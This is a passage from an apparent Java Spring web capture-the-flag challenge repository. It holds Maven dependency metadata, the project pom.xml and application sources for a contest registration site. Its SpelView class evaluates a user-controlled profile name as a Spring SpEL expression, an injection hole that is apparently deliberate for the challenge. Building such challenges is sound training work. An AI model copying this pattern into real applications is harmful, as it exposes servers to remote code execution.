spring-webmvc-4.2.2.RELEASE.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-webmvc/4.2.2.RELEASE/spring-webmvc-4.2.2.RELEASE.jar.sha1 ================================================ 4c929309bc6b7f3642c7d500e2ea11edca7270e8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-webmvc/4.2.2.RELEASE/spring-webmvc-4.2.2.RELEASE.pom ================================================ 4.0.0 org.springframework spring-webmvc 4.2.2.RELEASE Spring Web MVC Spring Web MVC https://github.com/spring-projects/spring-framework Spring IO http://projects.spring.io/spring-framework The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jhoeller Juergen Hoeller jhoeller@pivotal.io scm:git:git://github.com/spring-projects/spring-framework scm:git:git://github.com/spring-projects/spring-framework https://github.com/spring-projects/spring-framework Jira https://jira.springsource.org/browse/SPR com.fasterxml.jackson.core jackson-databind 2.6.3 compile true com.fasterxml.jackson.dataformat jackson-dataformat-xml 2.6.3 compile true com.lowagie itext 2.1.7 compile true com.rometools rome 1.5.1 compile true javax.el javax.el-api 2.2.5 compile true javax.servlet.jsp.jstl javax.servlet.jsp.jstl-api 1.2.1 compile true javax.servlet.jsp javax.servlet.jsp-api 2.2.1 compile true net.sf.jasperreports jasperreports 6.1.1 compile xml-apis xml-apis jackson-core com.fasterxml.jackson.core jackson-databind com.fasterxml.jackson.core olap4j org.olap4j spring-context org.springframework jackson-annotations com.fasterxml.jackson.core true net.sourceforge.jexcelapi jxl 2.6.12 compile true org.apache.poi poi 3.13 compile true org.apache.poi poi-ooxml 3.13 compile true org.apache.tiles tiles-api 3.0.5 compile true org.apache.tiles tiles-api 2.2.2 compile true org.apache.tiles tiles-core 2.2.2 compile jcl-over-slf4j org.slf4j true org.apache.tiles tiles-core 3.0.5 compile jcl-over-slf4j org.slf4j true org.apache.tiles tiles-el 3.0.5 compile jcl-over-slf4j org.slf4j true org.apache.tiles tiles-el 2.2.2 compile jcl-over-slf4j org.slf4j true org.apache.tiles tiles-extras 2.2.2 compile spring-web org.springframework jcl-over-slf4j org.slf4j velocity-tools org.apache.velocity true org.apache.tiles tiles-extras 3.0.5 compile spring-web org.springframework jcl-over-slf4j org.slf4j true org.apache.tiles tiles-jsp 3.0.5 compile jcl-over-slf4j org.slf4j true org.apache.tiles tiles-jsp 2.2.2 compile jcl-over-slf4j org.slf4j true org.apache.tiles tiles-servlet 2.2.2 compile jcl-over-slf4j org.slf4j true org.apache.tiles tiles-servlet 3.0.5 compile jcl-over-slf4j org.slf4j true org.apache.velocity velocity 1.7 compile true org.codehaus.groovy groovy-all 2.4.5 compile true org.freemarker freemarker 2.3.23 compile true org.springframework spring-beans 4.2.2.RELEASE compile org.springframework spring-context 4.2.2.RELEASE compile org.springframework spring-context-support 4.2.2.RELEASE compile true org.springframework spring-core 4.2.2.RELEASE compile org.springframework spring-expression 4.2.2.RELEASE compile org.springframework spring-oxm 4.2.2.RELEASE compile true org.springframework spring-web 4.2.2.RELEASE compile org.webjars webjars-locator 0.28 compile true velocity-tools velocity-tools-view 1.4 compile true javax.servlet javax.servlet-api 3.0.1 provided ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-webmvc/4.2.2.RELEASE/spring-webmvc-4.2.2.RELEASE.pom.sha1 ================================================ dec0e34fb160f35d1af794824096c716d68de436 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/testng/testng/6.8.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 testng-6.8.7.jar>central= testng-6.8.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/testng/testng/6.8.7/testng-6.8.7.jar.sha1 ================================================ 3eaa6cbb13e327f3f1154d336dff11d7e83a727e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/testng/testng/6.8.7/testng-6.8.7.pom ================================================ 4.0.0 org.testng testng jar TestNG 6.8.7 TestNG is a testing framework. http://testng.org Apache License, Version 2.0 http://apache.org/licenses/LICENSE-2.0 repo scm:git:git@github.com:cbeust/testng.git scm:git:git@github.com:cbeust/testng.git git@github.com:cbeust/testng.git Cedric Beust org.sonatype.oss oss-parent 3 snapshot snapshot-repository https://oss.sonatype.org/content/repositories/snapshots/ org.apache.ant ant 1.7.0 true junit junit 4.11 org.beanshell bsh 2.0b4 com.google.inject guice 2.0 provided com.beust jcommander 1.5 org.apache.ant ant 1.7.0 true junit junit 4.10 org.beanshell bsh 2.0b4 com.google.inject guice 2.0 provided com.beust jcommander 1.27 org.yaml snakeyaml 1.12 org.apache.maven.plugins maven-source-plugin 2.1.1 attach-sources jar org.apache.maven.plugins maven-compiler-plugin 3.1 1.5 org.apache.maven.plugins maven-resources-plugin 2.4.1 UTF-8 org.apache.felix maven-bundle-plugin 2.1.0 bundle-manifest process-classes manifest <_versionpolicy>$(@) bsh.*;version="[2.0.0,3.0.0)";resolution:=optional, com.beust.jcommander.*;version="[1.7.0,3.0.0)";resolution:=optional, com.google.inject.*;version="[1.2,1.3)";resolution:=optional, junit.framework;version="[3.8.1, 5.0.0)";resolution:=optional, org.apache.tools.ant.*;version="[1.7.0, 2.0.0)";resolution:=optional, org.yaml.*;version="[1.6,2.0)";resolution:=optional, !com.sun.*, * org.apache.maven.plugins maven-jar-plugin 2.3.1 ${project.build.outputDirectory}/META-INF/MANIFEST.MF org.apache.maven.plugins maven-javadoc-plugin 2.7 *.internal org.apache.maven.plugins maven-surefire-plugin 2.14.1 true org.apache.maven.plugins maven-gpg-plugin 1.4 sign-artifacts verify sign ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/testng/testng/6.8.7/testng-6.8.7.pom.sha1 ================================================ 0191b4820d227d57eb50f75d9a68dd64b61f8bb7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/yaml/snakeyaml/1.12/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 snakeyaml-1.12.jar>central= snakeyaml-1.12.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/yaml/snakeyaml/1.12/snakeyaml-1.12.jar.sha1 ================================================ ebe66a6b88caab31d7a19571ad23656377523545 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/yaml/snakeyaml/1.12/snakeyaml-1.12.pom ================================================ 4.0.0 org.yaml snakeyaml 1.12 bundle UTF-8 SnakeYAML YAML 1.1 parser and emitter for Java 2008 http://www.snakeyaml.org Google Code http://code.google.com/p/snakeyaml/issues/list SnakeYAML developers and users List snakeyaml-core@googlegroups.com scm:hg:http://snakeyaml.googlecode.com/hg scm:hg:https://snakeyaml.googlecode.com/hg http://code.google.com/p/snakeyaml/source/browse/ Apache License Version 2.0 LICENSE.txt py4fun Andrey Somov py4fun@gmail.com maslovalex Alexander Maslov alexander.maslov@gmail.com junit junit 4.7 test org.springframework spring 2.5.6 test org.apache.velocity velocity 1.6.2 test joda-time joda-time 1.6 test sonatype-nexus-staging Nexus Release Repository http://oss.sonatype.org/service/local/staging/deploy/maven2/ sonatype-nexus-snapshots Sonatype Nexus Snapshots http://oss.sonatype.org/content/repositories/snapshots/ false org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.5 1.5 ${project.build.sourceEncoding} org.apache.maven.plugins maven-surefire-plugin 2.6 -Xmx512m **/*Test.java **/StressTest.java **/ParallelTest.java org.apache.maven.plugins maven-eclipse-plugin 2.8 bin org.codehaus.mojo cobertura-maven-plugin 2.5.1 80 95 html xml org/yaml/snakeyaml/external/** clean check org.apache.maven.plugins maven-changes-plugin 2.5 validate-changes pre-site changes-validate true org.apache.maven.plugins maven-source-plugin 2.1.2 jar org.apache.maven.plugins maven-javadoc-plugin 2.8 http://java.sun.com/javase/6/docs/api/ attach-javadocs jar com.mycila.maven-license-plugin maven-license-plugin 1.9.0
      src/etc/header.txt
      false true false src/**/*.java src/main/java/org/yaml/snakeyaml/external/** true true true UTF-8
      site format
      org.apache.felix maven-bundle-plugin 2.3.4 true org.yaml.snakeyaml.* J2SE-1.5
      org.apache.maven.plugins maven-changes-plugin 2.3 http://code.google.com/p/snakeyaml/issues/detail?id=%ISSUE% changes-report org.apache.maven.plugins maven-surefire-report-plugin 2.6 true org.codehaus.mojo cobertura-maven-plugin 2.5.1 html xml org.apache.maven.plugins maven-jxr-plugin 2.2 org.apache.maven.plugins maven-javadoc-plugin 2.8 html API for ${project.name} ${project.version} API for ${project.name} ${project.version} Test API for ${project.name} ${project.version} Test API for ${project.name} ${project.version} javadoc release performRelease true org.apache.maven.plugins maven-gpg-plugin 1.1 sign-artifacts verify sign fast org.apache.maven.plugins maven-surefire-plugin 2.6 **/*Test.java **/stress/** org/yaml/snakeyaml/recursive/generics/HumanGenericsTest.java findbugs org.codehaus.mojo findbugs-maven-plugin 2.4.0 org.apache.maven.plugins maven-pmd-plugin 2.6 org.codehaus.mojo findbugs-maven-plugin 2.4.0 org.apache.maven.plugins maven-pmd-plugin 2.6 true utf-8 100 1.5 **/external/*.java maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin 3.0 maven-site-plugin attach-descriptor attach-descriptor android ${project.build.directory}/android/src/ ${project.build.directory}/android/classes/ ${project.build.directory}/android/test-classes/ maven-resources-plugin 2.5 copy-src-for-android generate-sources copy-resources ${android.src} ${basedir}/src/main/java false org/yaml/snakeyaml/introspector/MethodProperty.java copy-test-resources-for-android process-test-resources copy-resources ${android.test.classes} ${basedir}/src/test/resources org.apache.maven.plugins maven-patch-plugin 1.1.1 ${basedir}/src/patches/android/ ${android.src} false 4 android-patches process-sources apply ${project.build.directory}/android/patches-applied.txt true org.apache.maven.plugins maven-antrun-plugin 1.7 build-for-android compile run maven-surefire-plugin test-android test test ${android.classes} ${project.build.directory}/android/surefire-reports ${android.test.classes} true maven-jar-plugin package-android-jar package jar ${android.classes} android
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/yaml/snakeyaml/1.12/snakeyaml-1.12.pom.sha1 ================================================ c9dbe57a55450ef61cdb139c01a8edea9206949d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/oro/oro/2.0.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 oro-2.0.8.jar>central= oro-2.0.8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/oro/oro/2.0.8/oro-2.0.8.jar.sha1 ================================================ 5592374f834645c4ae250f4c9fbb314c9369d698 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/oro/oro/2.0.8/oro-2.0.8.pom ================================================ 4.0.0 oro oro 2.0.8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/oro/oro/2.0.8/oro-2.0.8.pom.sha1 ================================================ 6d10956ccdb32138560928ba9501648e430c34bb ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/sslext/sslext/1.2-0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 sslext-1.2-0.jar>central= sslext-1.2-0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/sslext/sslext/1.2-0/sslext-1.2-0.jar.sha1 ================================================ c86a7db4ac0bc450e675f3d44b3d64cdc934361b - ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/sslext/sslext/1.2-0/sslext-1.2-0.pom ================================================ 4.0.0 sslext sslext sslext 1.2-0 Apache Software License, Version 1.1 http://www.apache.org/licenses/LICENSE-1.1 Steve Ditlinger http://sslext.sourceforge.net/ struts struts 1.2.7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/sslext/sslext/1.2-0/sslext-1.2-0.pom.sha1 ================================================ 69e2c447f2c424d95c4a818463d58da1723fce2c /home/projects/maven/repository-staging/to-ibiblio/maven2/sslext/sslext/1.2-0/sslext-1.2-0.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xerces/xercesImpl/2.9.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 xercesImpl-2.9.1.jar>central= xercesImpl-2.9.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xerces/xercesImpl/2.9.1/xercesImpl-2.9.1.jar.sha1 ================================================ 7bc7e49ddfe4fb5f193ed37ecc96c12292c8ceb6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xerces/xercesImpl/2.9.1/xercesImpl-2.9.1.pom ================================================ 4.0.0 org.apache apache 4 xerces xercesImpl 2.9.1 Xerces2 Java Parser Xerces2 is the next generation of high performance, fully compliant XML parsers in the Apache Xerces family. This new version of Xerces introduces the Xerces Native Interface (XNI), a complete framework for building parser components and configurations that is extremely modular and easy to program. http://xerces.apache.org/xerces2-j xml-apis xml-apis 1.3.04 xml-resolver xml-resolver 1.2 true src ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xerces/xercesImpl/2.9.1/xercesImpl-2.9.1.pom.sha1 ================================================ 55a24b0cdefdf6002c3d3f9bb400e55a12d2482e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.0.b2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:31 CST 2018 xml-apis-1.0.b2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.pom ================================================ 4.0.0 xml-apis xml-apis XML Commons External Components XML APIs 1.0.b2 http://xml.apache.org/commons/#external xml-commons provides an Apache-hosted set of DOM, SAX, and JAXP interfaces for use in other xml-based projects. Our hope is that we can standardize on both a common version and packaging scheme for these critical XML standards interfaces to make the lives of both our developers and users easier. The External Components portion of xml-commons contains interfaces that are defined by external standards organizations. For DOM, that's the W3C; for SAX it's David Megginson and sax.sourceforge.net; for JAXP it's Sun. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Apache Software Foundation http://www.apache.org/ bugzilla http://issues.apache.org/bugzilla/ XML Commons Developer's List commons-dev-subscribe@xml.apache.org commons-dev-unsubscribe@xml.apache.org commons-dev@xml.apache.org http://mail-archives.apache.org/mod_mbox/xml-commons-dev/ scm:svn:http://svn.apache.org/repos/asf/xml/commons/tags/xml-commons-1_0_b2 http://svn.apache.org/viewvc/xml/commons/tags/xml-commons-1_0_b2 http://www.apache.org/dist/xml/commons/binaries/xml-commons-1.0.b2.tar.gz ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.pom.sha1 ================================================ 2289016f8b8f6a600ce45a199426fe0f6b2be4b0 xml-apis-1.0.b2.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.3.04/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 xml-apis-1.3.04.jar>central= xml-apis-1.3.04.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.jar.sha1 ================================================ 90b215f48fe42776c8c7f6e3509ec54e84fd65ef ./xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.pom ================================================ apache org.apache 3 4.0.0 xml-apis xml-apis XML Commons External Components XML APIs 1.3.04 xml-commons provides an Apache-hosted set of DOM, SAX, and JAXP interfaces for use in other xml-based projects. Our hope is that we can standardize on both a common version and packaging scheme for these critical XML standards interfaces to make the lives of both our developers and users easier. The External Components portion of xml-commons contains interfaces that are defined by external standards organizations. For DOM, that's the W3C; for SAX it's David Megginson and sax.sourceforge.net; for JAXP it's Sun. http://xml.apache.org/commons/components/external/ bugzilla http://issues.apache.org/bugzilla/ XML Commons Developer's List commons-dev-subscribe@xml.apache.org commons-dev-unsubscribe@xml.apache.org commons-dev@xml.apache.org http://mail-archives.apache.org/mod_mbox/xml-commons-dev/ scm:svn:http://svn.apache.org/repos/asf/xml/commons/tags/xml-commons-external-1_3_04/ http://svn.apache.org/viewvc/xml/commons/tags/xml-commons-external-1_3_04/ deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.pom.sha1 ================================================ d6174a9fd44cd14ff8dd486d6ac2e64f831db57c ./xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xpp3/xpp3_min/1.1.4c/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:20 CST 2018 xpp3_min-1.1.4c.jar>central= xpp3_min-1.1.4c.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar.sha1 ================================================ 19d4e90b43059058f6e056f794f0ea4030d60b86 /home/maven/repository-staging/to-ibiblio/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.pom ================================================ 4.0.0 xpp3 xpp3_min 1.1.4c jar MXP1: Xml Pull Parser 3rd Edition (XPP3) http://www.extreme.indiana.edu/xgws/xsoap/xpp/mxp1/ MXP1 is a stable XmlPull parsing engine that is based on ideas from XPP and in particular XPP2 but completely revised and rewritten to take the best advantage of latest JIT JVMs such as Hotspot in JDK 1.4+. Indiana University Extreme! Lab Software License, vesion 1.1.1 http://www.extreme.indiana.edu/viewcvs/~checkout~/XPP3/java/LICENSE.txt repo The license applies to the Xpp3 classes (all classes below the org.xmlpull package with exception of classes directly in package org.xmlpull.v1 ) Public Domain http://creativecommons.org/licenses/publicdomain repo The license applies to the XmlPull API (all classes directly in the org.xmlpull.v1 package) http://www.extreme.indiana.edu/viewcvs/~checkout~/XPP3/java/ Extreme! Lab, Indiana University http://www.extreme.indiana.edu/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.pom.sha1 ================================================ 4d2f2cf4e7b090e4c0c3010c6cd27cdb45ca593e xpp3_min-1.1.4c.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/pom.xml ================================================ 4.0.0 com.bupt charpter2 war 1.0-SNAPSHOT charpter2 Maven Webapp UTF-8 true UTF-8 4.2.2.RELEASE 5.1.29 3.0-alpha-1 1.8.1 1.9 1.4 5.0.2.Final 8.1.8.v20121106 1.7.5 6.8.7 1.2.3 com.fasterxml.jackson.core jackson-databind 2.5.3 jackson-annotations com.fasterxml.jackson.core com.fasterxml.jackson.core jackson-core 2.5.3 com.fasterxml.jackson.core jackson-annotations 2.5.3 com.alibaba druid 0.2.23 org.apache.poi poi 3.15 javax.mail mail 1.4.7 org.apache.shiro shiro-core ${shiro.version} org.apache.shiro shiro-web ${shiro.version} org.apache.shiro shiro-spring ${shiro.version} net.coobird thumbnailator 0.4.8 commons-fileupload commons-fileupload 1.3.1 commons-io commons-io commons-io commons-io 2.5 junit junit 4.9 org.apache.shiro shiro-core 1.2.2 org.slf4j slf4j-api 1.7.25 org.springframework spring-beans ${spring.version} org.springframework spring-context ${spring.version} org.springframework spring-context-support ${spring.version} org.springframework spring-jdbc ${spring.version} org.springframework spring-webmvc ${spring.version} commons-dbcp commons-dbcp ${commons-dbcp.version} mysql mysql-connector-java ${mysql.version} javax.servlet javax.servlet-api 3.0.1 provided javax.servlet servlet-api ${servlet.version} provided org.aspectj aspectjweaver ${aspectj.version} org.testng testng ${testng.version} test org.springframework spring-test ${spring.version} test jstl jstl 1.2 org.apache.maven.plugins maven-surefire-plugin 2.17 org.apache.maven.plugins maven-compiler-plugin 3.3 1.8 1.8 ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/canstants/Canstants.java ================================================ package com.bupt.canstants; import java.util.Arrays; import java.util.List; public class Canstants { public static final String regSuccess = "注册成功!请登陆填写个人信息"; public static final String regFail = "注册失败!"; public static final String regNameFail = "此用户名已经注册"; public static final String regEmailFail = "此邮箱已经注册"; public static final String loginSuccess = "登陆成功"; public static final String loginPawFail = "账号或密码错误!"; public static final String findEmailFail = "用户名或邮箱错误"; public static final String sendEmailFail = "邮件发送失败"; public static final String findEmailSeccess = "邮件已发送"; public static final String findNull = "请勿输入空值"; public static final String findCheckError = "验证码错误或已超时"; public static final String findPasswordFail = "两次输入的密码不一致"; public static final String changePwdSuccess = "密码修改成功"; public static final String authFail = "没有访问权限"; public static final String checkFail = "参数校验失败"; public static final String fillTheProfileFirst = "请及时提交报名表"; public static final String timeLimited = "大赛报名已经截止"; public static final List suffixs = Arrays.asList("jpg","png","jpeg"); } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/common/JsonData.java ================================================ package com.bupt.common; import java.util.HashMap; import java.util.Map; public class JsonData { private boolean ret; private String msg; private Object data; public boolean isRet() { return ret; } public void setRet(boolean ret) { this.ret = ret; } public String getMsg() { return msg; } public void setMsg(String msg) { this.msg = msg; } public Object getData() { return data; } public void setData(Object data) { this.data = data; } public JsonData(boolean ret) { this.ret = ret; } public static JsonData success(Object object, String msg) { JsonData jsonData = new JsonData(true); jsonData.data = object; jsonData.msg = msg; return jsonData; } public static JsonData success(Object object) { JsonData jsonData = new JsonData(true); jsonData.data = object; return jsonData; } public static JsonData success() { return new JsonData(true); } public static JsonData fail(String msg) { JsonData jsonData = new JsonData(false); jsonData.msg = msg; return jsonData; } public Map toMap() { HashMap result = new HashMap(); result.put("ret", ret); result.put("msg", msg); result.put("data", data); return result; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/common/RandomValueStringGenerator.java ================================================ package com.bupt.common; import java.security.SecureRandom; import java.util.Random; /** * Utility that generates a random-value ASCII string. * * @author Ryan Heaton * @author Dave Syer */ public class RandomValueStringGenerator { private static final char[] DEFAULT_CODEC = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" .toCharArray(); private Random random = new SecureRandom(); private int length; /** * Create a generator with the default length (6). */ public RandomValueStringGenerator() { this(6); } /** * Create a generator of random strings of the length provided * * @param length the length of the strings generated */ public RandomValueStringGenerator(int length) { this.length = length; } public String generate() { byte[] verifierBytes = new byte[length]; random.nextBytes(verifierBytes); return getAuthorizationCodeString(verifierBytes); } /** * Convert these random bytes to a verifier string. The length of the byte array can be * {@link #setLength(int) configured}. The default implementation mods the bytes to fit into the * ASCII letters 1-9, A-Z, a-z . * * @param verifierBytes The bytes. * @return The string. */ protected String getAuthorizationCodeString(byte[] verifierBytes) { char[] chars = new char[verifierBytes.length]; for (int i = 0; i < verifierBytes.length; i++) { chars[i] = DEFAULT_CODEC[((verifierBytes[i] & 0xFF) % DEFAULT_CODEC.length)]; } return new String(chars); } /** * The random value generator used to create token secrets. * * @param random The random value generator used to create token secrets. */ public void setRandom(Random random) { this.random = random; } /** * The length of string to generate. * * @param length the length to set */ public void setLength(int length) { this.length = length; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/common/SpelView.java ================================================ package com.bupt.common; import java.io.UnsupportedEncodingException; import java.util.HashMap; import java.util.Map; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import com.bupt.domain.Profile; import org.springframework.context.expression.MapAccessor; import org.springframework.expression.Expression; import org.springframework.expression.spel.SpelParseException; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext; import org.springframework.util.PropertyPlaceholderHelper; import org.springframework.util.PropertyPlaceholderHelper.PlaceholderResolver; import org.springframework.web.servlet.View; import org.springframework.web.servlet.support.ServletUriComponentsBuilder; /** * Simple String template renderer. * */ public class SpelView implements View { private String template; private String prefix; private final SpelExpressionParser parser = new SpelExpressionParser(); private final StandardEvaluationContext context = new StandardEvaluationContext(); private PlaceholderResolver resolver; private Profile profile; private String elstr; public SpelView(Profile profile) { this.profile = profile; this.elstr = resolvePlaceholder(profile.getName()) == null ? profile.getName() : resolvePlaceholder(profile.getName()); this.template = createTemplate(this.elstr); } public String getTemplate(){ return this.template; } public String resolvePlaceholder(String name){ try { Expression expression = parser.parseExpression(name); String value = expression.getValue(String.class); return value == null ? null : value.toString(); } catch (Exception e){ return null; } } protected String createTemplate(String elexpression) { String template = TEMPLATE; if (!elexpression.isEmpty()) { template = template.replace("%name%", elexpression); } else { template = template.replace("%name%", ""); } return template; } private static String TEMPLATE = "
      "; public String getContentType() { return "text/html"; } public void render(Map model, HttpServletRequest request, HttpServletResponse response) throws Exception { Map map = new HashMap(model); String path = ServletUriComponentsBuilder.fromContextPath(request).build() .getPath(); map.put("path", (Object) path==null ? "" : path); context.setRootObject(map); String maskedTemplate = template.replace("${", prefix); PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}"); String result = helper.replacePlaceholders(maskedTemplate, resolver); result = result.replace(prefix, "${"); response.setContentType(getContentType()); response.getWriter().append(result); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/common/SpringExceptionResolver.java ================================================ package com.bupt.common; import com.bupt.exception.ParamException; import com.bupt.exception.PermissionException; import org.springframework.web.servlet.HandlerExceptionResolver; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class SpringExceptionResolver implements HandlerExceptionResolver { @Override public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) { String url = request.getRequestURL().toString(); ModelAndView mv; String defaultMsg = ""; if (url.endsWith(".json")) { if (ex instanceof PermissionException || ex instanceof ParamException) { JsonData result = JsonData.fail(ex.getMessage()); mv = new ModelAndView("jsonView", result.toMap()); } else { System.out.println("unknown json exception, url:" + url+ex); JsonData result = JsonData.fail(defaultMsg); mv = new ModelAndView("jsonView", result.toMap()); } } else if (url.endsWith(".html")){ System.out.println("unknown page exception, url:" + url+ ex); JsonData result = JsonData.fail(defaultMsg); mv = new ModelAndView("exception", result.toMap()); } else { System.out.println("unknow exception, url:" + url+ ex); JsonData result = JsonData.fail(defaultMsg); mv = new ModelAndView("jsonView", result.toMap()); } return mv; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/dao/ProfileDao.java ================================================ package com.bupt.dao; import com.bupt.domain.Profile; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.PreparedStatementCreator; import org.springframework.jdbc.core.RowCallbackHandler; import org.springframework.jdbc.core.RowMapper; import org.springframework.stereotype.Repository; import java.io.Serializable; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.List; @Repository public class ProfileDao implements Serializable { private JdbcTemplate jdbcTemplate; private final static String FIND_PROFILE_SQL = " SELECT * FROM profile " + " WHERE user_id =?"; private final static String UPDATE_PROFILE_SQL = " UPDATE profile SET " + " user_id=?,name=?,gender=?,birthday=?,province=?,nation=?,politics_status=?,IDnumber=?,type=?,school=?,grade=?,address=?,postcode=?,phone=?,height=?,weight=?,mail=?,father_name=?,father_job=?,father_phone=?,mother_name=?,mother_job=?,mother_phone=?,hobby=?,description=?,photo=?" + " WHERE id =?"; private final static String INSERT_PROFILE_SQL = "INSERT INTO profile(user_id,name,gender,birthday,province,nation,politics_status,IDnumber,type,school,grade,address,postcode,phone,height,weight,mail,father_name,father_job,father_phone,mother_name,mother_job,mother_phone,hobby,description, photo) " + "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; public List findAll() { String sql = "SELECT * FROM profile"; return jdbcTemplate.query(sql, new RowMapper() { public Profile mapRow(ResultSet rs, int i) throws SQLException { Profile profile = new Profile(); profile.setId(rs.getInt("id")); profile.setUser_id(rs.getInt("user_id")); profile.setName(rs.getString("name")); profile.setGender(rs.getString("gender")); profile.setBirthday(rs.getString("birthday")); profile.setProvince(rs.getString("province")); profile.setNation(rs.getString("nation")); profile.setPolitics_status(rs.getString("politics_status")); profile.setIDnumber(rs.getString("IDnumber")); profile.setType(rs.getString("type")); profile.setSchool(rs.getString("school")); profile.setGrade(rs.getString("grade")); profile.setAddress(rs.getString("address")); profile.setPostcode(rs.getString("postcode")); profile.setHeight(rs.getString("height")); profile.setWeight(rs.getString("weight")); profile.setMail(rs.getString("mail")); profile.setFather_name(rs.getString("father_name")); profile.setFather_job(rs.getString("father_job")); profile.setFather_phone(rs.getString("father_phone")); profile.setMother_name(rs.getString("mother_name")); profile.setMother_job(rs.getString("mother_job")); profile.setMother_phone(rs.getString("mother_phone")); profile.setHobby(rs.getString("hobby")); profile.setDescription(rs.getString("description")); profile.setPhone(rs.getString("phone")); profile.setPhoto(rs.getString("photo")); return profile; } }); } public Profile findProfileByUserId(final Integer userId) { final Profile profile = new Profile(); jdbcTemplate.query(FIND_PROFILE_SQL, new Object[]{userId}, new RowCallbackHandler() { public void processRow(ResultSet rs) throws SQLException { profile.setId(rs.getInt("id")); profile.setUser_id(rs.getInt("user_id")); profile.setName(rs.getString("name")); profile.setGender(rs.getString("gender")); 